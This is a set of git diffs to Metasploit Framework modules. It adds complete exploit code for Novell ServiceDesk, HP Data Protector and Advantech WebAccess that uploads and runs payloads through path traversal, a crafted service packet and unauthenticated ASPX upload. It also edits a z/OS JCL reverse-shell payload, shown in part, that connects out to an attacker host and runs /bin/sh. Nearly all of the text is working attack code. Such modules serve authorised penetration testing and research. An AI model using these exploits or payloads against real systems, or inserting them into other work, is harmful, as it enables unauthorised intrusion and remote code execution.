Exploit::CheckCode::Safe
end
end
end

View File

@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Name' => 'Apache Jetspeed Arbitrary File Upload',
'Description' => %q{
This module exploits the unsecured User Manager REST API and a ZIP file
path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier
path traversal in Apache Jetspeed-2, version 2.3.0 and unknown earlier
versions, to upload and execute a shell.
Note: this exploit will create, use, and then delete a new admin user.

View File

@ -243,7 +243,6 @@ class MetasploitModule < Msf::Exploit::Remote
post_reference_name: self.refname,
private_data: opts[:password],
origin_type: :service,
private_type: :password,
private_type: :nonreplayable_hash,
jtr_format: 'sha512',
username: opts[:user]

View File

@ -0,0 +1,384 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ServiceDesk Authenticated File Upload',
'Description' => %q{
This module exploits an authenticated arbitrary file upload via directory traversal
to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in
Windows and Linux installations of Novell ServiceDesk, as well as the Virtual
Appliance provided by Novell.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-1593' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ],
[ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ]
],
'Platform' => %w{ linux win },
'Arch' => ARCH_X86,
'DefaultOptions' => { 'WfsDelay' => 15 },
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Novell ServiceDesk / Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Novell ServiceDesk / Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'Privileged' => false, # Privileged on Windows but not on (most) Linux targets
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 30 2016'
))
register_options(
[
OptPort.new('RPORT',
[true, 'The target port', 80]),
OptString.new('USERNAME',
[true, 'The username to login as', 'admin']),
OptString.new('PASSWORD',
[true, 'Password for the specified username', 'admin']),
OptString.new('TRAVERSAL_PATH',
[false, 'Traversal path to tomcat/webapps/LiveTime/'])
], self.class)
end
def get_version
res = send_request_cgi({
'uri' => normalize_uri('LiveTime','WebObjects','LiveTime.woa'),
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
}
})
if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/
return $1.to_f
else
return 999
end
end
def check
version = get_version
if version <= 7.1 && version >= 6.5
return Exploit::CheckCode::Appears
elsif version > 7.1
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
def pick_target
return target if target.name != 'Automatic'
print_status("#{peer} - Determining target")
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
traversal_paths = []
if datastore['TRAVERSAL_PATH']
traversal_paths << datastore['TRAVERSAL_PATH'] # add user specified or default Virtual Appliance path
end
# add Virtual Appliance path plus the traversal in a Windows or Linux self install
traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/'])
# test each path to determine OS (and correct path)
traversal_paths.each do |traversal_path|
jsp_name = upload_jsp(traversal_path, os_finder_payload)
res = send_request_cgi({
'uri' => normalize_uri('LiveTime', jsp_name),
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies
})
if res && res.code == 200
if res.body.to_s =~ /Windows/
@my_target = targets[2]
else
# Linux here
@my_target = targets[1]
end
if traversal_path.include? '/srv/tomcat6/webapps/'
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
else
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
end
return traversal_path
end
end
return nil
end
def upload_jsp(traversal_path, jsp)
jsp_name = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp"
post_data = Rex::MIME::Message.new
post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"")
data = post_data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@upload_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if not res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...")
else
return jsp_name
end
end
def create_jsp
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
exe = generate_payload_exe(opts)
base64_exe = Rex::Text.encode_base64(exe)
native_payload_name = rand_text_alpha(rand(6)+3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
if @my_target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
else
chmod = ''
cleanup = ''
end
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
try {
String #{var_buf} = "#{base64_exe}";
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();
BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
#{cleanup}
} catch (Exception e) {
}
%>
|
jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
jsp = jsp.gsub(/\x0d\x0a/, "")
jsp = jsp.gsub(/\x0a/, "")
return jsp
end
def exploit
version = get_version
# 1: get the cookies, the login_url and the password_form and username form names (they varies between versions)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
}
})
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/
login_url = $2
@cookies = res.get_cookies
if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/
password_form = $1
else
# we shouldn't hit this condition at all, this is default for v7+
password_form = 'password'
end
if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/
username_form = $1
else
# we shouldn't hit this condition at all, this is default for v7+
username_form = 'username'
end
else
fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.")
end
# 2: authenticate and get the import_url
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(login_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
username_form => datastore['USERNAME'],
password_form => datastore['PASSWORD'],
'ButtonLogin' => 'Login'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
import_url = $1
else
# hmm either the password is wrong or someone else is using "our" account.. .
# let's try to boot him out
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ &&
res.body.to_s =~ /This account is in use on another system/
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(login_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
username_form => datastore['USERNAME'],
password_form => datastore['PASSWORD'],
'ButtonLoginOverride' => 'Login'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
import_url = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
end
end
# 3: get the upload_url
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(import_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
'ButtonImport' => 'Import'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5
@upload_url = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.")
end
if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/
@upload_form = $1
else
# go with the default for 7.1.0, might not work with other versions...
@upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23"
end
# 4: target selection
@my_target = nil
# pick_target returns the traversal_path and sets @my_target
traversal_path = pick_target
if @my_target.nil?
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
else
print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}")
end
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case and ask the user to select an appropriate payload.
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end
# 5: generate the JSP with the payload
jsp = create_jsp
print_status("#{peer} - Uploading payload...")
jsp_name = upload_jsp(traversal_path, jsp)
if traversal_path.include? '/srv/tomcat6/webapps/'
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
else
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
end
# 6: pwn it!
print_status("#{peer} - Requesting #{jsp_name}")
send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)})
handler
end
end

View File

@ -102,7 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status "#{peer} - #{language} could not be loaded"
return false
else
print_error "#{peer} - error occurred loading #{language}"
vprint_error "#{peer} - error occurred loading #{language}"
return false
end
end
@ -116,7 +116,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_error "#{peer} - Connection error"
return false
when :sql_error
print_error "#{peer} - Exploit failed"
print_warning "#{peer} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - Exploit successful"

View File

@ -25,10 +25,6 @@ class MetasploitModule < Msf::Exploit::Remote
[ 'EDB', '39008' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 390,

View File

@ -0,0 +1,160 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => 'HP Data Protector 6.10/6.11/6.20 Install Service',
'Description' => %q{
This module exploits HP Data Protector Omniinet process on Windows only.
This exploit invokes the install service function which allows an attacker to create a
custom payload in the format of an executable.
To ensure this works, the SMB server created in MSF must have a share called Omniback
which has a subfolder i386, i.e. \\\\192.168.1.1\\Omniback\\i386\\
},
'Author' => [
'Ben Turner',
],
'References' =>
[
['CVE', '2011-0922'],
['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Privileged' => true,
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'HP Data Protector 6.10/6.11/6.20 / Windows', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 02 2011'))
register_options(
[
Opt::RPORT(5555),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
], self.class)
deregister_options('FOLDER_NAME')
deregister_options('FILE_CONTENTS')
deregister_options('SHARE')
deregister_options('FILE_NAME')
end
def peer
"#{rhost}:#{rport}"
end
def check
fingerprint = get_fingerprint
if fingerprint.nil?
vprint_status('Unable to fingerprint because no response.')
return Exploit::CheckCode::Unknown
end
vprint_status("#{peer} - #{fingerprint}")
if fingerprint =~ /HP Data Protector A\.06\.(\d+)/i
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Detected
end
def get_fingerprint
ommni = connect
ommni.put(rand_text_alpha_upper(64))
resp = ommni.get_once(-1)
disconnect
return nil if resp.nil?
# Delete unicode last null
Rex::Text.to_ascii(resp).chop.chomp
end
def primer
self.file_contents = generate_payload_exe
self.file_name = "installservice.exe"
self.share = "Omniback\\i386"
print_status("File available on #{unc}...")
vprint_status("#{peer} - Trying to execute remote EXE...")
lhost = "#{datastore['SRVHOST']}"
lhostfull = ""
lhost.each_char do |character|
lhostfull = lhostfull << "\x00" << character
end
packet = "\x00\x00\x01\xbe\xff\xfe\x32\x00\x00\x00\x20"
packet << lhostfull
packet << "\x00\x00\x00\x20\x00\x30\x00"
packet << "\x00\x00\x20\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00\x4d\x00"
packet << "\x00\x00\x20\x00\x4e\x00\x54\x00\x20\x00\x41\x00\x55\x00\x54\x00"
packet << "\x48\x00\x4f\x00\x52\x00\x49\x00\x54\x00\x59\x00\x00\x00\x20\x00"
packet << "\x43\x00\x00\x00\x20\x00\x32\x00\x36\x00\x00\x00\x20\x00\x5c\x00"
packet << "\x5c"
packet << lhostfull
packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00"
packet << "\x61\x00\x63\x00\x6b\x00\x5c\x00\x69\x00\x33\x00\x38\x00\x36\x00"
packet << "\x5c\x00\x69\x00\x6e\x00\x73\x00\x74\x00\x61\x00\x6c\x00\x6c\x00"
packet << "\x73\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x2e\x00"
packet << "\x65\x00\x78\x00\x65\x00\x20\x00\x2d\x00\x73\x00\x6f\x00\x75\x00"
packet << "\x72\x00\x63\x00\x65\x00\x20\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62"
packet << "\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x5c\x00\x5c"
packet << lhostfull
packet << "\x5c\x00\x5c\x00\x4f\x00"
packet << "\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63\x00\x6b\x00\x5c\x00"
packet << "\x69\x00\x33\x00\x38\x00\x36\x00\x5c\x00\x69\x00\x6e\x00\x73\x00"
packet << "\x74\x00\x61\x00\x6c\x00\x6c\x00\x73\x00\x65\x00\x72\x00\x76\x00"
packet << "\x69\x00\x63\x00\x65\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x20\x00"
packet << "\x2d\x00\x73\x00\x6f\x00\x75\x00\x72\x00\x63\x00\x65\x00\x20\x00"
packet << "\x5c\x00\x5c"
packet << lhostfull
packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63"
packet << "\x00\x6b\x00\x20\x00\x00\x00\x00\x00\x00\x00\x02\x54"
packet << "\xff\xfe\x32\x00\x36\x00\x00\x00\x20\x00\x5b\x00\x30\x00\x5d\x00"
packet << "\x41\x00\x44\x00\x44\x00\x2f\x00\x55\x00\x50\x00\x47\x00\x52\x00"
packet << "\x41\x00\x44\x00\x45\x00\x0a\x00\x5c\x00\x5c"
packet << lhostfull
packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63"
packet << "\x00\x6b\x00\x5c\x00\x69\x00\x33\x00\x38\x00\x36\x00"
connect
sock.put(packet)
disconnect
end
def exploit
begin
Timeout.timeout(datastore['SMB_DELAY']) {super}
rescue Timeout::Error
# Stop SMB Server
end
end
end

View File

@ -0,0 +1,131 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => "Advantech WebAccess Dashboard Viewer Arbitrary File Upload",
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
of Advantech WebAccess. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within
the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to
upload arbitrary code (instead of an image) to the server, which will then be executed under the
high-privilege context of the IIS AppPool.
},
'License' => MSF_LICENSE,
'Author' => [
'rgod', # Vulnerability discovery
'Zhou Yu <504137480[at]qq.com>' # MSF module
],
'References' => [
[ 'CVE', '2016-0854' ],
[ 'ZDI', '16-128' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01']
],
'Platform' => 'win',
'Targets' => [
['Advantech WebAccess 8.0', {}]
],
'Privileged' => false,
'DisclosureDate' => "Feb 5 2016",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/'])
], self.class)
end
def version_match(data)
# Software Build : 8.0-2015.08.15
fingerprint = data.match(/Software\sBuild\s:\s(?<version>\d{1,2}\.\d{1,2})-(?<year>\d{4})\.(?<month>\d{1,2})\.(?<day>\d{1,2})/)
fingerprint['version'] unless fingerprint.nil?
end
def vuln_version?
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.to_s
)
if res.redirect?
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(res.redirection)
)
end
ver = res && res.body ? version_match(res.body) : nil
true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false
end
def check
if vuln_version?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def upload_file?(filename, file)
uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')
data = Rex::MIME::Message.new
data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"')
data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => "waUserName=admin",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
true ? res && res.code == 200 && res.body.include?("{\"resStatus\":\"0\",\"resString\":\"\/#{filename}\"}") : false
end
def exec_file?(filename)
uri = normalize_uri(target_uri)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
uri = normalize_uri(target_uri, 'WADashboard', filename)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => res.get_cookies
)
true ? res && res.code == 200 : false
end
def exploit
unless vuln_version?
print_status("#{peer} - Cannot reliably check exploitability.")
return
end
filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)
print_status("#{peer} - Uploading malicious file...")
return unless upload_file?(filename, filedata)
print_status("#{peer} - Executing #{filename}...")
return unless exec_file?(filename)
end
end

View File

@ -7,7 +7,6 @@
# for more information on IEFBR14
##
require 'msf/core'
require 'msf/core/handler/find_shell'
require 'msf/base/sessions/mainframe_shell'
@ -15,50 +14,49 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Single
include Msf::Payload::Mainframe
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Generic JCL Test for Mainframe Exploits',
'Description' => 'Provide JCL which can be used to submit
a job to JES2 on z/OS which will exit and return 0. This
can be used as a template for other JCL based payloads',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::None,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
'Name' => 'Generic JCL Test for Mainframe Exploits',
'Description' => 'Provide JCL which can be used to submit
a job to JES2 on z/OS which will exit and return 0. This
can be used as a template for other JCL based payloads',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::None,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'Offsets' => {},
'Payload' => ''
}
)
)
end
##
# Construct the paload
##
def generate
return super + command_string
super + command_string
end
##
# Build the command string for JCL submission
##
def command_string
return "//DUMMY JOB (MFUSER),'dummy job',\n" +
"// NOTIFY=&SYSUID,\n" +
"// MSGCLASS=H,\n" +
"// MSGLEVEL=(1,1),\n" +
"// REGION=0M\n" +
"// EXEC PGM=IEFBR14\n"
"//DUMMY JOB (MFUSER),'dummy job',\n" \
"// NOTIFY=&SYSUID,\n" \
"// MSGCLASS=H,\n" \
"// MSGLEVEL=(1,1),\n" \
"// REGION=0M\n" \
"// EXEC PGM=IEFBR14\n"
end
end

View File

@ -8,7 +8,6 @@
# on the system as JCL to JES2
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/mainframe_shell'
@ -16,7 +15,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = :dynamic
CachedSize = 9001
include Msf::Payload::Single
include Msf::Payload::Mainframe
@ -24,227 +23,228 @@ module MetasploitModule
def initialize(info = {})
super(merge_info(info,
'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
'Description' => 'Provide JCL which creates a reverse shell
This implmentation does not include ebcdic character translation,
so a client with translation capabilities is required. MSF handles
this automatically.',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
'Description' => 'Provide JCL which creates a reverse shell
This implmentation does not include ebcdic character translation,
so a client with translation capabilities is required. MSF handles
this automatically.',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'Offsets' =>
{
'LHOST' => [ 0x1b29, 'custom' ],
'LPORT' => [ 0x1b25, 'custom' ],
'LPORT' => [ 0x1b25, 'custom' ]
},
'Payload' =>
"//REVSHL JOB (USER),'Reverse shell jcl',\n" +
"// NOTIFY=&SYSUID,\n" +
"// MSGCLASS=H,\n" +
"// MSGLEVEL=(1,1),\n" +
"// REGION=0M\n" +
"//**************************************/\n" +
"//* Generates reverse shell */\n" +
"//**************************************/\n" +
"//*\n" +
"//STEP1 EXEC PROC=ASMACLG\n" +
"//SYSIN DD *,DLM=ZZ\n" +
" TITLE 'z/os Reverse Shell'\n" +
"NEWREV CSECT\n" +
"NEWREV AMODE 31\n" +
"NEWREV RMODE 31\n" +
"***********************************************************************\n" +
"* SETUP registers and save areas *\n" +
"***********************************************************************\n" +
"MAIN LR 7,15 # R7 is base register\n" +
" NILH 7,X'1FFF' # ensure local address\n" +
" USING MAIN,0 # R8 for addressability\n" +
" DS 0H # halfword boundaries\n" +
" LA 1,ZEROES(7) # address byond which should be all 0s\n" +
" XC 0(204,1),0(1) # clear zero area\n" +
" LA 13,SAVEAREA(7) # address of save area\n" +
" LHI 8,8 # R8 has static 8\n" +
" LHI 9,1 # R9 has static 1\n" +
" LHI 10,2 # R10 has static 2\n" +
"\n" +
"***********************************************************************\n" +
"* BPX1SOC set up socket *\n" +
"***********************************************************************\n" +
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" +
" LA 3,8 # n parms\n" +
" LA 5,DOM(7) # Relative addr of First parm\n" +
" ST 10,DOM(7) # store a 2 for AF_INET\n" +
" ST 9,TYPE(7) # store a 1 for sock_stream\n" +
" ST 9,DIM(7) # store a 1 for dim_sock\n" +
" LA 15,CLORUN(7) # address of generic load & run\n" +
" BASR 14,15 # Branch to load & run\n" +
"\n" +
"***********************************************************************\n" +
"* BPX1CON (connect) connect to rmt host *\n" +
"***********************************************************************\n" +
"BCON L 5,CLIFD(7) # address of client file descriptor\n" +
" ST 5,CLIFD2(7) # store for connection call\n" +
"*** main processing **\n" +
" LA 1,SSTR(7) # packed socket string\n" +
" LA 5,CLIFD2(7) # dest for our sock str\n" +
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" +
" LA 0,@@F2(7) # USS callable svcs connect\n" +
" LA 3,6 # n parms for func call\n" +
" LA 5,CLIFD2(7) # src parm list addr\n" +
" LA 15,CLORUN(7) # address of generic load & run\n" +
" BASR 14,15 # Branch to load & run\n" +
"\n" +
"*************************************************\n" +
"* Preparte the child pid we'll spawn *\n" +
"* 0) Dupe all 3 file desc of CLIFD *\n" +
"* 1) dupe parent read fd to std input *\n" +
"*************************************************\n" +
" LHI 11,2 # Loop Counter R11=2\n" +
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" +
"@RET1 AHI 11,-1 # Decrement R11\n" +
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" +
"\n" +
"***********************************************************************\n" +
"* BPX1EXC (exec) execute /bin/sh *\n" +
"***********************************************************************\n" +
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" +
"******************************************\n" +
"**** load array of addr and constants ***\n" +
"******************************************\n" +
" ST 10,EXARG1L(7) # arg 1 len is 2\n" +
" LA 2,EXARG1L(7) # addr of len of arg1\n" +
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" +
" LA 2,EXARG1(7) # addr of arg1\n" +
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" +
" ST 9,EXARGC(7) # store 1 in ARG Count\n" +
"**************************************************************\n" +
"*** call the exec function the normal way ********************\n" +
"**************************************************************\n" +
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" +
" LA 3,13 # n parms\n" +
" LA 5,EXCPRM1(7) # src parm list addr\n" +
" LA 15,CLORUN(7) # address of generic load & run\n" +
" BASR 14,15 # Branch to load & run\n" +
"\n" +
"***********************************************************************\n" +
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" +
"***********************************************************************\n" +
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" +
" ST 8,@ACT(7) # 8 is our dupe2 action\n" +
" L 5,CLIFD(7) # client file descriptor\n" +
" ST 5,@FFD(7) # store as fnctl argument\n" +
" ST 11,@ARG(7) # fd to clone\n" +
" LA 3,6 # n parms\n" +
" LA 5,@FFD(7) # src parm list addr\n" +
" LA 15,CLORUN(7) # address of generic load & run\n" +
" BASR 14,15 # Branch to load & run\n" +
" BRC 15,@RET1 # Return to caller\n" +
"\n" +
"***********************************************************************\n" +
"* LOAD and run R0=func name, R3=n parms *\n" +
"* R5 = src parm list *\n" +
"***********************************************************************\n" +
"CLORUN ST 14,8(,13) # store ret address\n" +
" XR 1,1 # zero R1\n" +
" SVC 8 # get func call addr for R0\n" +
" ST 0,12(13) # Store returned addr in our SA\n" +
" L 15,12(13) # Load func addr into R15\n" +
" LHI 6,20 # offset from SA of first parm\n" +
" LA 1,0(6,13) # start of dest parm list\n" +
"@LOOP2 ST 5,0(6,13) # store parms address in parm\n" +
" AHI 3,-1 # decrement # parm\n" +
" CIJ 3,11,8,@FIX # haky fix for EXEC func\n" +
"@RETX AHI 6,4 # increment dest parm addr\n" +
" AHI 5,4 # increment src parm addr\n" +
" CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" +
